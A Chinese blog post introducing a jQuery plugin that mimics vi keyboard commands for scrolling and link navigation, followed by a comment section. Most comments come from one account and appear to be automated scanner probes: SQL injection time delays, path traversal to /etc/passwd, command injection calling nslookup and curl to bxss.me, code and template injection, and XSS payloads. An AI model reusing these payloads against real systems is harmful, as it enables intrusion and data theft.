一个模仿vi操作的jquery插件
github上的地址为 https://github.com/paperen/js-vim
实例地址为 http://paperen.com/demo/js-vim/
通过javascript在网页中重现vi的操作方式(基于jquery)
如何使用
-
引入
core.js
<script type="text/javascript" src="vim/core.js"></script>
-
在想要实现vi操作的页面中加入
<script> $(document).ready(function(){ $(this).vim(); }); </script>
现有支持的命令
- r : 重新载入当前页面
- j : 向下滚动
- k : 向上滚动
- d : 向下滚动半页
- u : 向上滚动半页
- gg : 滚动到页面顶部
- G : 滚动到页面底部
- H : 后退
- L : 前进
- f : 打开当前页面上某个链接
- F : 在新标签页中打开当前页面上某个链接
初始化
- debug 调试模式(默认是false) 若为true会在console输出一些信息
- scrollpx 上下滚动的跨度(默认是50) 主要是j、k命令
<script> $(document).ready(function(){ $(this).vim({ 'debug' : true, 'scrollpx' : 80 }); }); </script>
待完善
- f命令可能会出现重复的标记……
- yy命令
HYQ 11年前
貌似爽 貌似爽 貌似爽
回覆TAQPbmCRVM 1月前
Nj1fBNGk
回覆TAQPbmCRVM 1月前
response.write(9583572*9069547)
回覆TAQPbmCRVM 1月前
'+response.write(9583572*9069547)+'
回覆TAQPbmCRVM 1月前
"+response.write(9583572*9069547)+"
回覆TAQPbmCRVM 1月前
1 bcc:009247.3139-22952.3139.b2a7b.20030.2@bxss.me
回覆TAQPbmCRVM 1月前
to@example.com> bcc:009247.3139-22953.3139.b2a7b.20030.2@bxss.me
回覆TAQPbmCRVM 1月前
12345'"\'\");|]*{ ''
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
../../../../../../../../../../../../../../etc/passwd
回覆TAQPbmCRVM 1月前
../../../../../../../../../../../../../../windows/win.ini
回覆TAQPbmCRVM 1月前
file:///etc/passwd
回覆TAQPbmCRVM 1月前
${9999947+10000107}
回覆TAQPbmCRVM 1月前
1&n937202=v943006
回覆TAQPbmCRVM 1月前
echo lkvwpg$()\ jjatat\nz^xyu||a #' &echo; lkvwpg$()\ jjatat\nz^xyu||a #|" &echo; lkvwpg$()\ jjatat\nz^xyu||a #
回覆TAQPbmCRVM 1月前
&echo; jifffq$()\ bloyja\nz^xyu||a #' &echo; jifffq$()\ bloyja\nz^xyu||a #|" &echo; jifffq$()\ bloyja\nz^xyu||a #
回覆TAQPbmCRVM 1月前
|echo bjklew$()\ vnxasd\nz^xyu||a #' |echo bjklew$()\ vnxasd\nz^xyu||a #|" |echo bjklew$()\ vnxasd\nz^xyu||a #
回覆TAQPbmCRVM 1月前
(nslookup -q=cname hitnyjrdwkhme46c1a.bxss.me||curl hitnyjrdwkhme46c1a.bxss.me))
回覆TAQPbmCRVM 1月前
$(nslookup -q=cname hitqbddymipdu9a520.bxss.me||curl hitqbddymipdu9a520.bxss.me)
回覆TAQPbmCRVM 1月前
&nslookup; -q=cname hitnshsqrnvdafd19c.bxss.me&'\"`0&nslookup; -q=cname hitnshsqrnvdafd19c.bxss.me&`'
回覆TAQPbmCRVM 1月前
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
回覆TAQPbmCRVM 1月前
&(nslookup -q=cname hitmmhoadulcp027d2.bxss.me||curl hitmmhoadulcp027d2.bxss.me)&'\"`0&(nslookup -q=cname hitmmhoadulcp027d2.bxss.me||curl hitmmhoadulcp027d2.bxss.me)&`'
回覆TAQPbmCRVM 1月前
!(()&&!|*|*|
回覆TAQPbmCRVM 1月前
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
回覆TAQPbmCRVM 1月前
^(#$!@#$)(()))******
回覆TAQPbmCRVM 1月前
|(nslookup -q=cname hitizygyiosasde413.bxss.me||curl hitizygyiosasde413.bxss.me)
回覆TAQPbmCRVM 1月前
Http://bxss.me/t/fit.txt
回覆TAQPbmCRVM 1月前
`(nslookup -q=cname hitrneehinsgu1a714.bxss.me||curl hitrneehinsgu1a714.bxss.me)`
回覆TAQPbmCRVM 1月前
'.gethostbyname(lc('hitgp'.'jstptprq59f80.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(77).chr(105).chr(78).'
回覆TAQPbmCRVM 1月前
http://bxss.me/t/fit.txt?.jpg
回覆TAQPbmCRVM 1月前
;(nslookup -q=cname hitzpbtrtknpd13cf3.bxss.me||curl hitzpbtrtknpd13cf3.bxss.me)|(nslookup -q=cname hitzpbtrtknpd13cf3.bxss.me||curl hitzpbtrtknpd13cf3.bxss.me)&(nslookup -q=cname hitzpbtrtknpd13cf3.bxss.me||curl hitzpbtrtknpd13cf3.bxss.me)
回覆TAQPbmCRVM 1月前
".gethostbyname(lc("hitnr"."hoxujjft5b330.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(73).chr(117).chr(72)."
回覆TAQPbmCRVM 1月前
/etc/shells
回覆TAQPbmCRVM 1月前
c:/windows/win.ini
回覆TAQPbmCRVM 1月前
1'&&sleep;(27*1000)*uuvwpx&&'
回覆TAQPbmCRVM 1月前
1"&&sleep;(27*1000)*ysiwwa&&"
回覆TAQPbmCRVM 1月前
1'||sleep(27*1000)*jtjpdi||'
回覆TAQPbmCRVM 1月前
1"||sleep(27*1000)*euzwju||"
回覆TAQPbmCRVM 1月前
HttP://bxss.me/t/xss.html?
回覆TAQPbmCRVM 1月前
bxss.me/t/xss.html?
回覆TAQPbmCRVM 1月前
"+"A".concat(70-3).concat(22*4).concat(122).concat(83).concat(99).concat(67)+(require"socket" Socket.gethostbyname("hitcw"+"tdhtpwys77765.bxss.me.")[3].to_s)+"
回覆TAQPbmCRVM 1月前
'+'A'.concat(70-3).concat(22*4).concat(113).concat(78).concat(118).concat(67)+(require'socket' Socket.gethostbyname('hityn'+'zktgrorp84dff.bxss.me.')[3].to_s)+'
回覆TAQPbmCRVM 1月前
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
回覆TAQPbmCRVM 1月前
';print(md5(31337));$a='
回覆TAQPbmCRVM 1月前
";print(md5(31337));$a="
回覆TAQPbmCRVM 1月前
${@print(md5(31337))}
回覆TAQPbmCRVM 1月前
${@print(md5(31337))}\
回覆TAQPbmCRVM 1月前
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
回覆TAQPbmCRVM 1月前
'.print(md5(31337)).'
回覆TAQPbmCRVM 1月前
xfs.bxss.me
回覆TAQPbmCRVM 1月前
comment/.
回覆TAQPbmCRVM 1月前
http://xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
//xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
/\xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
1'"()&%[removed]ec1M(9223)[removed]
回覆TAQPbmCRVM 1月前
'"()&%[removed]ec1M(9509)[removed]
回覆TAQPbmCRVM 1月前
19033443
回覆TAQPbmCRVM 1月前
bfg1664<s1﹥s2ʺs3ʹhjl1664
回覆TAQPbmCRVM 1月前
bfgx3518z1z2abcxhjl3518
回覆TAQPbmCRVM 1月前
回覆TAQPbmCRVM 1月前
回覆TAQPbmCRVM 1月前
1}}"}}'}}1%>"%>'%>
回覆TAQPbmCRVM 1月前
dfb{{98991*97996}}xca
回覆TAQPbmCRVM 1月前
dfb[[${98991*97996}]]xca
回覆TAQPbmCRVM 1月前
dfb__${98991*97996}__::.x
回覆TAQPbmCRVM 1月前
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
回覆TAQPbmCRVM 1月前
1[removed]ec1M(9984)[removed]
回覆TAQPbmCRVM 1月前
15HBHD[!+!]
回覆TAQPbmCRVM 1月前
1[removed]ec1M(9431)[removed]
回覆TAQPbmCRVM 1月前
1ec1M(9278)
回覆TAQPbmCRVM 1月前
1[removed]ec1M(9265)[removed]
回覆TAQPbmCRVM 1月前
1[removed][removed]
回覆TAQPbmCRVM 1月前
1[removed]ec1M(9854)[removed]
回覆TAQPbmCRVM 1月前
kvMzQJJP
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
1<isindex type=image src=1 onerror=ec1M(9588)>
回覆TAQPbmCRVM 1月前
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9769'>
回覆TAQPbmCRVM 1月前
1*543*538*0
回覆TAQPbmCRVM 1月前
1<body onload=ec1M(9989)>
回覆TAQPbmCRVM 1月前
(549-543-5)
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
1*773*768*0
回覆TAQPbmCRVM 1月前
1[removed]ec1M(9397)[removed]
回覆TAQPbmCRVM 1月前
(779-773-5)
回覆TAQPbmCRVM 1月前
1\u003CScRiPt\ec1M(9631)\u003C/sCripT\u003E
回覆TAQPbmCRVM 1月前
1<ScRiPt>ec1M(9083)</sCripT>
回覆TAQPbmCRVM 1月前
1*323*318*0
回覆TAQPbmCRVM 1月前
1<input autofocus onfocus=ec1M(9291)>
回覆TAQPbmCRVM 1月前
(329-323-5)
回覆TAQPbmCRVM 1月前
回覆TAQPbmCRVM 1月前
1*16*11*0
回覆TAQPbmCRVM 1月前
(22-16-5)
回覆TAQPbmCRVM 1月前
1}body{zzz:Expre/**/SSion(ec1M(9089))}
回覆TAQPbmCRVM 1月前
-1 OR 2+138-138-1=0+0+0+1
回覆TAQPbmCRVM 1月前
1KdbeE [removed]ec1M(9538)[removed]
回覆TAQPbmCRVM 1月前
-1 OR 3+138-138-1=0+0+0+1
回覆TAQPbmCRVM 1月前
134R6E[!+!]
回覆TAQPbmCRVM 1月前
if(now()=sysdate(),sleep(15),0)
回覆TAQPbmCRVM 1月前
1<ifRAme sRc=9410.com></IfRamE>
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
回覆TAQPbmCRVM 1月前
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
回覆TAQPbmCRVM 1月前
-1; waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
-1); waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
1 waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
cbsZOw8N'; waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
-5 OR 382=(SELECT 382 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
-5) OR 826=(SELECT 826 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
-1)) OR 931=(SELECT 931 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
kdtdd4iU' OR 900=(SELECT 900 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
bEOmf0Qa') OR 800=(SELECT 800 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
cqwJ5Yt1')) OR 798=(SELECT 798 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
回覆TAQPbmCRVM 1月前
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
回覆TA